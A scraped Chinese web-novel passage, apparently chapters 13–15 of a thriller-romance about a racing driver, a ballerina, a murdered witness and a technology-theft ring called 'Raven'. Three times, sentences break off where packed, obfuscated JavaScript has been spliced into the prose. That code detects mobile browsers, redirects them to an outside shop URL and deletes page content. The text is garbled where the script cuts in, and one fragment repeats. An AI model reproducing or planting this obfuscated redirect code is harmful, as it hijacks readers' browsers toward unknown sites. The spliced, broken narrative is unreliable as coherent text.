他转头,看着江砚辞:“我知道是你母亲做的。她说到做到。所以那之后,我就停了和Vogel的合作,想抽身。但他们不同意。再后来……就发生了你比赛那件事。” 真相以另一种角度展开。江砚辞握紧U盘,金属边缘硌着掌心。 “所以比赛的事,是Vogel逼你做的?” “一半一半。”徐朗叹气,“他们威胁要毁了我儿子,而我……也确实嫉妒你。你太年轻,太有天分,你父亲的技术在你手里能发扬光大,在我手里只能卖钱。我不甘心。” 他顿了顿,声音更轻:“但我没想让你身败名裂到那个地步。药检的事,不是我安排的。那个助理……她是陆文渊的人。” 空气仿佛凝固了。 苏晚晚呼吸一滞:“陆文渊?三年前他就——” “他一直都在。”徐朗闭上眼睛,“他是Vogel在亚洲培养的代言人,从留学时就开始接触你们这些有潜力的技术家族。江家、苏家……都在名单上。” “什么名单?”苏晚晚追问。 “技术控制名单。”徐朗睁开眼,眼神疲惫,“Vogel想垄断的是整个智能驾驶领域。他们需要的不仅是专利,还有研发这些专利的人。要么收编,要么毁掉。你父亲选择了第三条路——开源,所以他们必须除掉他。” “那我母亲呢?”苏晚晚声音发颤,“她只是个舞者——” “但你父亲是苏氏航运的掌门人。”徐朗看着她,“航运业的数据和物流网络,对智能驾驶的路况模拟至关重要。而且……你母亲手里,有她父亲留下的港口早期建设图纸,里面藏着南城地下地质结构的完整数据。那是Vogel建研发中心急需的东西。” 一环扣一环。苏晚晚感到一阵眩晕。 江砚辞扶住她,同时问出最关键的问题:“陆文渊现在想做什么?” “他要完成Vogel没完成的事。”徐朗靠回枕头,神色灰败,“具体计划我不清楚,但他最近在频繁接触你父亲,苏小姐。而且……他在调查一个人。” “谁?” “阿影。”徐朗吐出这个名字,看到两人瞬间绷紧的表情,苦笑道,“果然,你们也接触过她了。那个活在影子里的女人,是你母亲留给你最后的一张牌,砚辞。” 江砚辞的手机就在这时震动——是匿名信息: **匿名者A:陆文渊的人正在上楼,预计三分钟后到达。从消防通道离开,钥匙在灭火器箱底部。 匿名者A:U盘密码是你母亲工作室的门牌号。** “走。”江砚辞收起手机,拉起苏晚晚。 徐朗突然抓住他的手腕,力气大得惊人:“砚辞,如果见到阿影……替我说声对不起。当年在瑞士,我本该阻止他们对她……” 他没说完,门外已经传来脚步声。 江砚辞深深看了他一眼,推开窗户——外面是消防应急通道的楼梯间。两人快速闪身出去,刚关好窗,病房门就被推开了。 透过玻璃,他们看到陆文渊带着几个人走进来,脸色阴沉。 没时间多看。江砚辞拉着苏晚晚快步下楼,在四楼找到灭火器箱,果然摸到一把车钥匙。 地下停车场B区,一辆黑色越野车亮起双闪。 两人上车,江砚辞启动引擎,车子悄无声息驶出医院。后视镜里,能看到几个穿西装的人从电梯冲出来,四处张望。 开出两个街区,确认安全后,江砚辞把车停在路边。 天已经完全亮了,晨光洒在挡风玻璃上。 苏晚晚还在消化刚才的信息,手指无意识地摩挲着安全带。江砚辞拿出那个U盘,插入车载电脑。 密码输入——江母工作室的门牌号,他知道,是母亲年轻时在苏黎世租的第一个工作室:**苏黎世老城区,磨坊巷17号**。 U盘解锁。 里面不是证据文件,而是一段视频日记,日期是江母去世前一个月。 **视频开始。** 江美玲坐在家里的阳台上,背后是盛开的绣球花。她比瑞士那段的视频更瘦了,但眼睛依然清澈。 “小辞,如果你看到这个,说明徐朗终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004280|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把东西交出来了。他本性不坏,只是太想给儿子一个好前程,走错了路。” 她咳嗽几声,继续: “关于陆家那孩子,我查清了。他父亲陆远山,二十年前和Vogel有过一笔交易,用中国西南部的地质勘探数据,换取了进入欧洲市场的通行证。那份数据……来自你苏伯父的航运公司。” 镜头外传来倒水声,她接过,喝了口水。 “晚晚的母亲林薇,是我的好朋友。她嫁进苏家后,发现了这件事,想阻止,但那时陆远山已经站稳脚跟。我们俩决定分头行动——她去查陆家在国内的勾当,我去瑞士找Vogel的源头。” 她停顿,眼神变得悠远: “在瑞士,我遇到了阿影。她那时是国际刑警的技术顾问,正在调查Vogel背后的洗钱网络。我们联手挖出了一些东西,但触动了某些人的神经。她为了保护我,暴露了身份,被迫退出警队,转入地下。” “也是那时候,我发现自己病了。医生说晚期,没多少时间了。阿影说她会继续查,让我回国陪你。临走前,她给了我一个加密联络方式,说如果以后你有需要,就用这个找她。” 江美玲凑近镜头,声音更轻: “小辞,妈妈时间不多了,但有几件事必须告诉你:第一,陆文渊接近晚晚,不只是为了商业联姻,更想通过她拿到苏家手里的完整地质数据。第二,你父亲的算法,核心部分我做了拆分,一部分给了李教授,另一部分……我藏在了你小时候最喜欢的玩具里。” 她笑了笑,笑容温柔: “第三,也是最重要的——如果你和晚晚能走到一起,妈妈会很开心。那孩子像她母亲,骨子里有股不肯认输的劲儿。你们俩……要互相照亮。” 视频到这里开始模糊,电流声干扰。 最后几秒,江美玲的声音断断续续传来: “……小心陆文渊……他背后还有人……阿影说……叫‘渡鸦’……” 画面彻底黑掉。 车内一片死寂。 苏晚晚先开口,声音哽咽:“我妈从来没说过这些……她只说她年轻时在瑞士留学很快乐。” “她们把最重的秘密自己扛了。”江砚辞关掉视频,手在方向盘上握紧,“阿影……她为了查这个案子,付出了多少?” 手机又震动。这次不是匿名信息,是周予琛律师的电话。 江砚辞接起,按了免提。 “砚辞!你在哪儿?”周律师声音急促,“刚收到消息,徐朗在医院突发心搏骤停,抢救无效……死了。” 江砚辞和苏晚晚同时僵住。 “什么时候的事?” “十分钟前。院方说是突发性心脏病,但太巧了——陆文渊刚离开医院,徐朗就出事了。而且……”周律师压低声音,“医院的监控全部失灵了,死亡过程没留下任何影像记录。” 电话挂断。 晨光透过车窗,却照不暖车厢里的寒意。 徐朗最后那句没说完的话,那双抓住江砚辞手腕的有力的手,那个带着愧疚和恐惧的眼神……一切都在十分钟后戛然而止。 “灭口。”苏晚晚低声说,“陆文渊干的。” “或者是他背后的‘渡鸦’。”江砚辞启动车子,“先去修车铺。徐朗的死会引来警察调查,我们得做好准备。” 车子汇入早高峰的车流。城市刚刚苏醒,上班族匆匆走过斑马线,早餐摊冒着热气。 一切看似平常。 但江砚辞知道,从这一刻起,游戏规则变了。 死人不会说话,但死人也可能是警告。 下一个会是谁? 他看向副驾驶座上的苏晚晚。她正看着窗外,侧脸在晨光中显得格外沉静,但紧抿的嘴唇暴露了内心的波澜。 他伸手,轻轻覆在她手背上。 她转头,对上他的目光。 “我们会赢的。”江砚辞说,语气笃定。 “我知道。”苏晚晚反握住他的手,“因为我们已经没有退路了。” 两只手交握在一起,温度透过皮肤传递。 前方是拥挤的车流,是未知的危机,是藏在暗处的“渡鸦”。 但他们握着手。 像两枚在洪流中紧紧咬合的齿轮。 14. 第十四章 第十四章玩具箱与渡鸦的羽翼 徐朗的死亡在当天下午登上了本地新闻的社会版角落,标题是《前赛车工程师突发心脏病离世》,正文寥寥几段,只提及他曾效力于F1车队,对三年前的丑闻只字未提。 但警方的调查还是来了。 下午三点,两名刑警走进修车铺。年长的那位姓赵,四十多岁,眼神锐利;年轻的姓李,拿着记录本,好奇地打量满墙的工具。 “江砚辞先生?”赵警官出示证件,“关于徐朗先生的死亡,有几个问题需要你配合。” 江砚辞放下手中的扳手,用破布擦了擦手:“请问。” “今天凌晨六点到七点之间,你在哪里?” 苏晚晚从二楼下来,正要开口,江砚辞先说了:“我在修车铺。苏小姐可以作证,她也在。” 赵警官看向苏晚晚,目光在她脸上停留片刻:“苏小姐,你们在一起?” “对。”苏晚晚站到江砚辞身边,“我们在整理一些资料,通宵。” “有监控证明吗?” “修车铺门口的监控坏了三天了。”江砚辞平静地说,“但巷口便利店的老郑,早上七点十分来送过牛奶,可以问他。” 赵警官点点头,在本子上记了几笔:“我们调取了医院的监控,但那个时间段的录像全部丢失了。巧合的是,医院的安保系统显示,凌晨六点五十分左右,有两个人伪装成医护人员进入了徐朗的病房。” 他抬眼,直视江砚辞:“江先生,你和徐朗有恩怨,这一点我们都知道。我们查到他账户近期有几笔异常转账,收款方是个境外账户。而你——正在通过国际仲裁庭起诉他。” 话里的指向很明显。 苏晚晚开口:“赵警官,如果江砚辞要报复徐朗,何必等到现在?而且选择在医院,在可能被监控拍下的地方?” “也许是因为徐朗刚同意做证人了呢?”年轻警官李突然插话,“我们查了徐朗的通讯记录,昨天深夜,他给一个未备注的号码发了条短信,内容是:‘我同意了,明天见面谈。’那个号码,江先生,是你的吗?” 空气骤然紧绷。 江砚辞沉默了两秒,摇头:“不是。但如果是昨天深夜发的,我有不在场证明——昨晚我和苏小姐,还有我朋友陈曜,在城南的轮胎店聚餐,一直到凌晨一点。轮胎店老板老K和几个车友都在,可以作证。” 赵警官盯着他看了很久,然后收起本子:“我们会核实。另外——”他顿了顿,“徐朗的家属说,他生前最后见的人就是你。你们谈了什么?” “他承认了三年前的事。”江砚辞没有回避,“但说主谋另有其人,而且威胁他儿子的人,不是他。” “主谋是谁?” “他说了个代号:‘渡鸦’。具体是谁,他没来得及说。” 两个警官交换了一个眼神。赵警官从公文包里拿出一张照片,放在工作台上——那是一张监控截图,画面模糊,但能看出一个穿深色风衣、戴棒球帽的高瘦背影,正从医院消防通道离开。时间戳显示:凌晨六点五十八分。 “这个人,”赵警官说,“在徐朗死亡前后五分钟出现在现场附近。你们认识吗?” 江砚辞和苏晚晚仔细看了照片。那个背影很陌生,但步态有种奇特的利落感,像是受过专业训练。 “不认识。”江砚辞说。 赵警官收起照片:“如果想起什么,随时联系我们。另外,江先生,在调查期间,请不要离开本市。” 警察离开后,卷帘门重新拉下。修车铺里一片昏暗。 “他们在怀疑你。”苏晚晚低声说。 “合理的怀疑。”江砚辞走到窗边,看着警车驶离,“但真正的凶手,现在一定在暗处笑。” “那个背影……会是阿影吗?” 江砚辞摇头:“如果是他,不会让监控拍到。而且他没必要杀徐朗——徐朗已经是我们的证人,死了对他没好处。” 他转身,走向车库角落那个落满灰尘的储物区:“当务之急,是找到母亲说的那个玩具。算法核心如果真在里面,我们必须先拿到手。” 储物区堆满了纸箱,大部分是赛车零件和旧工具。最底层有几个塑料收纳箱,贴着褪色的标签:“小辞的东西”。 江砚辞蹲下,打开第一个箱子。里面是奖杯和奖牌,从卡丁车到F3的,按年份排列。第二个箱子里是旧课本和笔记。第三个—— 苏晚晚也蹲下来,和他一起翻找。箱子里是些零散的玩具:缺轮子的模型车、魔方、一把木头手枪、几个变形金刚。最底下,压着一个深蓝色的铁皮盒子,盖子上印着已经模糊的太空图案。 江砚辞拿起盒子,摇了摇,里面有东西晃动。他试了试,盒子锁着,钥匙早就丢了。 “撬开?”苏晚晚递过一把螺丝刀。 江砚辞却盯着盒子侧面一个不起眼的凹陷处看了几秒,然后伸出右手食指,按在那个位置——凹陷的尺寸刚好贴合他的指纹。 咔哒一声,盒子弹开了。 “指纹锁。”苏晚晚惊讶,“二十多年前就有这种技术?” “我父亲喜欢鼓捣这些。”江砚辞轻声说,“他说,重要的东西要留给重要的人。” 盒子里没有玩具,而是一沓泛黄的图纸、一个老式MP3播放器,还有一枚拇指大小的黑色存储芯片。 江砚辞先拿起MP3,按下播放键。传出的是江父的声音,有些沙哑,带着笑意: “小辞,如果你听到这个,说明你已经长大了。爸爸可能没法亲眼看到你开上真正的赛车,但这些图纸,是我毕生研究的心血。那个算法,核心思想其实很简单——让车像人一样‘预知’危险。不是靠传感器,是靠学习。” 录音里传来翻纸的声音。 “我把完整的推导过程拆成了三部分。第一部分在清华李教授那儿,是理论基础。第二部分在这里,是工程实现。第三部分……我藏在你母亲最喜欢的那本诗集里,是伦理框架。记住,技术没有善恶,但使用技术的人有。如果有一天你要用这个算法,先问问自己:它在让世界变得更好,还是更糟?” 录音到此结束。 江砚辞握紧MP3,指节发白。父亲去世时他十六岁,这些年他反复回忆父亲的样貌,却渐渐模糊。但这个声音,一下子把所有的记忆都拽了回来——周末车库里的机油味,父亲教他拧螺栓时的大手,还有那句总是挂在嘴边的话:“做人要像螺栓,该紧的时候一丝不能松,该松的时候别硬扛。” 苏晚晚轻轻握住他的手腕。 他深吸一口气,拿起那张黑色芯片:“这就是第二部分。” “需要专业设备读取吧?” “陈曜有。”江砚辞把芯片小心收好,“但在这之前——” 他话音未落,手机响了。来电显示是苏家的座机。 苏晚晚接起,听到管家焦急的声音:“小姐,您快回来一趟吧。陆先生带着聘礼来了,老爷正在客厅和他谈……气氛不太好。” 她的脸色沉下来。 “我马上回去。” 苏家客厅里,气氛何止“不太好”。 陆文渊坐在主位沙发上,身后站着两个助理。茶几上摆着几个打开的礼盒:翡翠镯子、金条、房产证,还有一份已经签好他名字的婚前协议。苏柏年坐在对面,脸色铁青。 “文渊,你这是什么意思?”苏父声音压抑着怒火,“婚姻大事,哪有这样强行上门提亲的?” “伯父,我是怕夜长梦多。”陆文渊微笑,但眼神冰凉,“晚晚最近和那位江先生走得太近,我怕她一时糊涂,耽误了终身。而且——”他身体前倾,“我父亲昨晚和您通过电话了,关于港口那块地的合作,陆远集团可以让利三个点。条件就是,我和晚晚的婚事尽快定下来。” 赤裸裸的交易。 苏柏年手指颤抖:“我女儿的婚事,不是生意!” “在苏家,不是吗?”陆文渊笑意更深,“伯父,您当年娶林薇阿姨,不也是看中林家在欧洲的人脉?咱们这种人,婚姻从来不只是两个人的事。” 这话刺中了苏柏年的痛处。他猛地站起:“出去!” “别急。”陆文渊也站起来,整整西装,“我还有一个消息,您可能感兴趣。”他示意助理递过一个平板,“今天早上,江砚辞被警方列为徐朗死亡案的嫌疑人。虽然还没正式立案,但舆论一旦发酵……您觉得,晚晚和他扯上关系,对她、对苏氏航运,会是什么影响?” 苏柏年盯着屏幕上的新闻截图,脸色越来越白。 就在这时,苏晚晚推门进来。 她一眼扫过客厅里的阵仗,目光落在陆文渊脸上:“陆先生,强买强卖可不是君子所为。” “晚晚。”陆文渊转身,笑容温和了些,“我只是不想错过你。而且,我是在帮你——江砚辞现在自身难保,你跟着他,只会被拖累。” “那是我的事。”苏晚晚走到父亲身边,握住他发抖的手,“爸,我上次说得很清楚了。我不会嫁给陆文渊,永远不会。” 陆文渊的笑容终于消失了。 “苏晚晚,”他声音冷下来,“我给你最后一次机会。现在点头,你还是陆太太,苏家还是苏氏航运。如果拒绝——”他顿了顿,“明天头条,会是江砚辞涉嫌谋杀的证据,以及你和他深夜同居的照片。你猜,国家大剧院还会不会要一个卷入谋杀案的首席舞者?” 赤裸裸的威胁。 苏晚晚感到父亲的手猛地一紧。 她看着陆文渊,看着这个看似优雅实则狠毒的男人,突然笑了。 “陆文渊,你知不知道,你最大的弱点是什么?” 陆文渊眯起眼。 “你太自负了。”苏晚晚松开父亲的手,一步步走向他,“你以为所有人都怕你的权势,怕你的手段。但你忘了——光脚的不怕穿鞋的。我现在就可以告诉你:我宁可退出舞团,宁可和苏家断绝关系,也不会受你要挟。” 她停在陆文渊面前,两人距离不到半米: “至于那些照片,你尽管发。正好让所有人都看看,你是怎么跟踪偷拍、骚扰威胁的。看看到时候,是江砚辞先倒下,还是你陆公子的名声先臭掉。” 客厅里一片死寂。 陆文渊盯着她,眼神从愤怒到震惊,最后竟闪过一丝欣赏。 “有意思。”他低笑,“你比你母亲当年还烈。” 他后退一步,示意助理收起礼盒:“好,苏晚晚,你赢了这一局。但游戏还没结束。” 他走到门口,又回头:“顺便告诉你,江砚辞父亲算法的第三部分,不在什么诗集里。二十年前那场实验室火灾,早就烧掉了。你手里的芯片,不过是残缺品。” 说完,他大步离开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004281|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏晚晚站在原地,直到车子引擎声远去,才感到后背已被冷汗浸透。 苏柏年走过来,声音疲惫:“晚晚,他说的那些威胁……” “爸,我不会连累家里。”苏晚晚转身,“如果真到那一步,我会公开声明和苏家脱离关系。” “胡闹!”苏柏年突然提高声音,“你以为我担心的是公司?我担心的是你!陆文渊那种人,什么事都做得出来!” 他重重坐下,揉着太阳穴:“你母亲当年……就是知道了太多陆家的秘密,才……” “才什么?”苏晚晚追问。 苏柏年沉默了很久,终于开口:“才出车祸的。” **深夜,修车铺二楼。** 江砚辞听完苏晚晚的叙述,眉头紧锁。 “你母亲的车祸,也不是意外?” “我爸不肯细说,但应该是。”苏晚晚抱着膝盖,坐在简易床边,“而且陆文渊说,算法第三部分被烧毁了。他在故意打击我们的信心。” 江砚辞看着工作台上那张黑色芯片。陈曜已经用专业设备读取了内容,确实是算法核心的工程部分,但就像陆文渊说的,不完整。缺少了最关键的安全冗余设计和伦理约束模块。 “如果第三部分真的被烧了,”陈曜敲着键盘,“那这个算法就不能用。没有安全模块,它在极端情况下可能导致系统误判,反而增加事故风险。” “我父亲不会犯这种错误。”江砚辞摇头,“他一定会留备份。而且……诗集。” 他起身,走到书架前。母亲留下的书不多,大部分是工程类,只有最上层有几本文学书。他一本本抽出来:《里尔克诗选》《泰戈尔诗集》《徐志摩全集》……还有一本薄薄的、没有封面的线装本。 他拿起那本线装本。纸张已经泛黄,但保存完好。翻开,里面不是印刷的诗,而是手抄的——是母亲的字迹,抄录的都是关于光明、勇气和正义的诗句。 在最后一页,抄的是杜甫的《春望》:“国破山河在,城春草木深……” 但在这首诗下面,有一行极小的铅笔字,不是母亲的字迹,更刚劲: **“算法第三部分,在‘渡鸦’的影子里。去找阿影,他知道怎么拿。”** 没有落款,但江砚辞认出了——是父亲的笔迹。 “渡鸦的影子里……”苏晚晚凑过来看,“什么意思?” “渡鸦是代号,影子……”江砚辞思索,“可能是地点,也可能是人。” 就在这时,他的笔记本电脑突然自动亮起。屏幕变成纯黑色,白色文字一行行浮现: **匿名者A:第三部分在苏黎世大学图书馆,地下珍本库,索书号 ZJ-1985-728。 匿名者A:陆文渊已买通图书馆内部人员,明晚八点会去取。你们只有一次机会。 匿名者A:我会在苏黎世等你们。这次,见面谈。** 文字停留了十秒,然后屏幕恢复原状。 这是阿影第一次明确要求见面。 江砚辞和苏晚晚对视一眼。 “苏黎世……”苏晚晚低声说,“又要去瑞士。” “这次更危险。”江砚辞看着屏幕,“陆文渊已经动手了,他知道我们要找什么。” “但阿影在那边。”苏晚晚说,“而且,这次我们不是毫无准备。” 她打开手机,开始查航班信息:“最快明早有一班直飞苏黎世。但警方要求你不离市……” “顾不了那么多了。”江砚辞已经开始收拾东西,“徐朗的死,陆文渊的威胁,还有算法的完整性——必须去。” 陈曜举手:“我跟你们一起。技术活我在行,而且——”他咧嘴一笑,“我早就想会会那个阿影了。” 深夜十一点,三人定好了机票和假身份——是唐果通过考古圈的关系搞来的,虽然冒险,但眼下没更好的选择。 苏晚晚站在窗边,看着外面安静的街道。远处,苏家的方向灯火通明,父亲可能还在书房里发愁。 她发了条短信:“爸,我出趟差,几天就回。别担心,我会保护好自己。” 很久,父亲回复:“晚晚,你母亲留给你的那个怀表……背面可以拧开。里面有东西,可能对你有用。” 苏晚晚从包里拿出怀表。这枚母亲留给她的遗物,她从未想过拆开。 她轻轻拧动表壳背部,果然,有一层极薄的夹层。里面不是机械,而是一张卷起来的微缩胶片,和一张小照片。 照片上是三个年轻人:母亲林薇、江美玲,还有一个戴眼镜的清瘦男生,站在苏黎世湖边的码头,笑容灿烂。背面写着:“与美玲、阿影,1985。” 阿影是男的。而且,很年轻,看起来很书生气。 微缩胶片需要专业设备读取,暂时看不了。 苏晚晚把照片发给江砚辞。几分钟后,他打来电话:“这个人……我好像在哪里见过。” “哪里?” “想不起来。但感觉很熟悉。”江砚辞顿了顿,“到了苏黎世,一切都会清楚。” 挂了电话,苏晚晚把怀表贴在胸口。 母亲,如果你在天有灵,请保佑我们。 保佑我们拿到真相,拿到完整的光明。 窗外,月亮被云层遮住,夜色浓稠如墨。 但总有些人,注定要在黑暗里寻找火光。 15. 第十五章 第十五章缓冲地带 徐朗死亡后的第三天,警方解除对江砚辞的离境限制——不是因为他们排除了嫌疑,而是因为有了新的发现。 赵警官私下给江砚辞打了个电话,约在巷口便利店见面。傍晚时分,江砚辞走进店里时,老郑正在整理货架,看到他便使了个眼色,示意赵警官在后面的小仓库。 仓库里堆满纸箱,空气中弥漫着泡面和灰尘的味道。赵警官穿着便服,靠在装满饮料的货架上,手里拿着一个透明证物袋。 “徐朗的尸检报告出来了。”他开门见山,“死因确实是心搏骤停,但血液里检出高浓度□□——一种肌松药,常用于麻醉,过量会导致呼吸肌麻痹。” 江砚辞接过证物袋,里面是几张照片和一份报告摘要:“谋杀。” “专业手法。”赵警官点燃一支烟,烟雾在昏暗灯光中升腾,“注射点在颈侧,非常隐蔽,剂量精准。现场没找到注射器,凶手处理得很干净。” “医院的监控……” “被专业设备干扰了,不是简单的删除。”赵警官看着他,“江砚辞,我知道你和徐朗有恩怨,但你不是这种人。所以我想问你——你觉得谁会这么急着让他闭嘴?” 江砚辞沉默片刻:“陆文渊。或者他背后的‘渡鸦’。” “‘渡鸦’。”赵警官重复这个词,眼神锐利,“徐朗死前跟你提过这个名字?” “嗯。但他没来得及说更多。” 赵警官从怀里掏出一张打印纸,上面是一个模糊的logo——黑色乌鸦的侧影,下方有拉丁文:“**Scientia in Tenebris**”(黑暗中的知识)。 “国际刑警那边的朋友传过来的。”他低声说,“‘渡鸦’是个跨国技术黑市组织,专门收购、窃取、倒卖尖端技术,尤其关注人工智能和自动驾驶领域。他们行事隐秘,成员都是高智商罪犯,喜欢用意外或疾病掩盖谋杀。” 他把纸递给江砚辞:“你父亲当年的研究,可能早就被他们盯上了。” 江砚辞看着那个logo,感到一股寒意从脊椎爬上来:“那陆文渊……” “可能是他们在亚洲的白手套,也可能是想借他们的势。”赵警官按灭烟蒂,“总之,你现在很危险。徐朗的死是个警告——对他们来说,技术比人命重要。你手里的算法,他们势在必得。” 离开便利店时,天色已暗。江砚辞回到修车铺,发现苏晚晚还没回来——她今天下午有排练,应该快结束了。 他坐到工作台前,打开台灯。灯光照亮墙上那些泛黄的赛车照片,其中一张是他第一次登上F1领奖台,母亲在台下捂着嘴哭,父亲在更远的地方,笑着对他竖起大拇指。 如果父亲还活着,看到现在的局面,会怎么说? “技术应该服务于人。”父亲的声音仿佛还在耳边,“但如果服务的是魔鬼,宁愿毁掉。” 江砚辞闭上眼睛。这些年他躲在这间修车铺里,以为远离赛道就能远离是非。但有些东西,是从血脉里带来的,躲不掉。 **同一时间,国家大剧院排练厅。** 苏晚晚正在完成第三遍《天鹅湖》黑天鹅变奏。今天她的状态不好,左肩的旧伤隐隐作痛,旋转时总在第十八圈失去平衡。 “停!”艺术总监陈老师拍手打断,眉头紧皱,“晚晚,你的重心又偏了。这段独舞是黑天鹅诱惑王子的关键,必须完美,不能有任何瑕疵。” “抱歉,陈老师。”苏晚晚喘着气,汗水从额头滑下,“我再试一次。” “先休息。”陈老师走到她身边,压低声音,“晚晚,外面那些传闻……是不是影响到你了?” 排练厅里还有其他舞者,虽然都在各自练习,但目光有意无意地飘过来。最近关于她和“污点车手”的八卦传得沸沸扬扬,连剧院管理层都找她谈过话,暗示要注意“公众形象”。 “我没事。”苏晚晚拿起水瓶,“只是肩膀有点不舒服。” 陈老师叹了口气:“下周就是年度考核了,你的首席位置……很多人盯着。这个时候,最好别出任何负面新闻。” 话说得委婉,但意思明确。 苏晚晚点点头,走到窗边。窗外是城市夜景,霓虹闪烁。她想起昨晚父亲打来的电话,语气疲惫:“晚晚,董事会今天又提了联姻的事。陆文渊那边给的压力很大,说是如果我们不合作,港口那个项目就找别家……” 她当时问:“爸,你当年娶妈妈,是因为爱她,还是因为她能帮到家里?” 苏柏年沉默了很久,才说:“都有。但后来,只剩下爱了。” 也许成年人的世界就是这样,感情和利益永远纠缠不清。但苏晚晚不想这样。如果舞蹈不能纯粹,爱情不能纯粹,那人活着还有什么意思? 手机震动,是唐果发来的消息:“晚晚!我查到陆文渊在瑞士的行程记录了!他上个月去了三次苏黎世大学图书馆,借阅记录全是关于‘微缩胶片存储技术’和‘冷战时期情报加密’的资料!” 紧接着是一张模糊的照片——图书馆监控截图,陆文渊在古籍修复室门口,正和一个穿工作服的老管理员交谈。 苏晚晚回复:“能确认他具体找什么吗?” “还在查。但我那个图书馆管理员朋友说,陆文渊申请调阅过一批1985年入藏的特藏文献,涉及‘中瑞技术交流史’。那个年份……刚好是你妈她们在瑞士留学的时间。” 线索开始串联。 苏晚晚正要细问,排练厅的门被推开,一个年轻舞者探进头:“晚晚姐,前台有人找你,说是你朋友。” 她下楼,看到陈曜靠在接待处的沙发上,手里拎着两个塑料袋,里面飘出烧烤的香气。 “江老板让我来给你送晚饭。”陈曜咧嘴笑,“他说你今天排练肯定又忘了吃。” 苏晚晚心头一暖:“他呢?” “在修车铺发呆呢,一下午没说话。”陈曜把袋子递给她,“不过刚才赵警官找过他,好像有新线索。具体情况他没说,但我感觉……事情比我们想的复杂。” 两人走到剧院后院的石凳上坐下。陈曜打开塑料袋,烤串还温着,滋滋冒油。 “其实我来,还有别的事。”陈曜咬了口肉串,“关于陆野。” 苏晚晚记得这个名字——江砚辞提过,前车队女工程师,现在是云南的摩托车改装店老板。 “她昨天联系我了。”陈曜声音低下来,“说在云南边境查到点东西。陆文渊的公司,最近在那边大量收购废旧摩托车和卡车,名义上是‘环保回收’,但陆野发现,那些车的车载电脑和传感器都被拆走了,运往境外。” “他要那些做什么?” “练习。”陈曜神色严肃,“自动驾驶算法的训练,需要海量的真实驾驶数据。但正规途径获取成本太高,而且涉及隐私。如果……直接拆解旧车,读取里面的黑匣子数据,就能获得几十年积累的行车记录。” 苏晚晚倒吸一口凉气:“所以他不是在等我们找到算法第三部分,他是在自己重建?” “有可能。”陈曜点头,“而且陆野还说,她黑进陆文渊公司的物流系统,发现有几批货的最终目的地是——缅甸北部的一个‘科技园区’,那个园区背后有欧洲资本。” “渡鸦?” “不确定,但可能性很大。” 夜色渐深,剧院后院的灯光昏暗。苏晚晚握着已经凉掉的烤串,感到一种深深的无力感。对手太庞大,太隐蔽,像一张无形的网,从二十年前就开始编织。 “晚晚,”陈曜突然问,“你后悔卷进来吗?” 苏晚晚摇头:“不后悔。我只是觉得……我们太慢了。” “慢点好。”陈曜难得正经,“赛车的时候,第一个弯道冲太快的人,往往最后一个弯道会失控。稳扎稳打,看清楚路再给油,才是赢的长久之计。” 他站起来,拍拍裤子上的灰:“江老板那边你不用担心,我会看着他。倒是你——肩膀的伤,要不要找医生看看?我认识个老中医,针灸很厉害。” “不用,老毛病了。”苏晚晚也起身,“对了,唐果那边查到的图书馆线索,你跟江砚辞说一声。我觉得……我们可能需要再去一趟瑞士,但这次得准备得更充分。” “明白。”陈曜挥挥手,“走了,你早点休息。” 看着他离开的背影,苏晚晚拿出手机,给江砚辞发消息: **“陈曜来送饭了。肩膀有点疼,但还能跳。唐果查到陆文渊在图书馆的动静,可能需要再去瑞士。你那边还好吗?”** 几分钟后,江砚辞回复: **“赵警官提供了新线索。徐朗是被专业灭口,凶手可能是‘渡鸦’的人。我没事,在想一些事。肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就是这部分。”伊莎贝拉声音压低,“但他没有完整权限,只能查看目录,不能接触原件。而且,我注意到他最近频繁接触我们馆的一位老管理员,那位管理员……二十年前曾因私自贩卖馆藏资料被停职过,后来复职,但一直负责边缘工作。” “你认为陆文渊在收买他?” “很有可能。所以我想问你——你需要我帮你做什么?林教授说,你母亲是她最好的朋友,她嘱咐我尽量帮你。” 江砚辞思考片刻:“能阻止陆文渊接触到原件吗?” “我可以以‘文献修复’的名义将那些资料暂时封存,但最多只能拖延两周。两周后如果没有正当理由,他可以向校方投诉。” “两周够了。”江砚辞说,“另外,能告诉我那批资料的具体内容吗?” 电话那头传来翻纸的声音:“目录显示,主要是关于‘车辆动态控制算法的伦理边界研究’的手稿,还有一些实验数据记录。但有一份单独标注的文件,名称是‘影子的代价’。” 影子的代价。江砚辞想起父亲留下的那句话:“算法第三部分,在‘渡鸦’的影子里。” “那份文件能调阅吗?” “需要捐赠人直系亲属的书面申请,以及两位教授的担保。”伊莎贝拉说,“林教授可以作保,但你还缺一位。而且……你必须本人来瑞士办理手续。” 江砚辞明白了。这是阿影通过林教授安排的——逼他亲自去瑞士,当面交接。 “我明白了。谢谢你,伊莎贝拉女士。” “不客气。另外……”她停顿了一下,“林教授让我转告你:来的时候,带上苏小姐。有些事,需要你们一起面对。” 电话挂断。 江砚辞走到窗边,看着外面沉睡的街道。远处传来夜班公交车的引擎声,规律而沉闷。 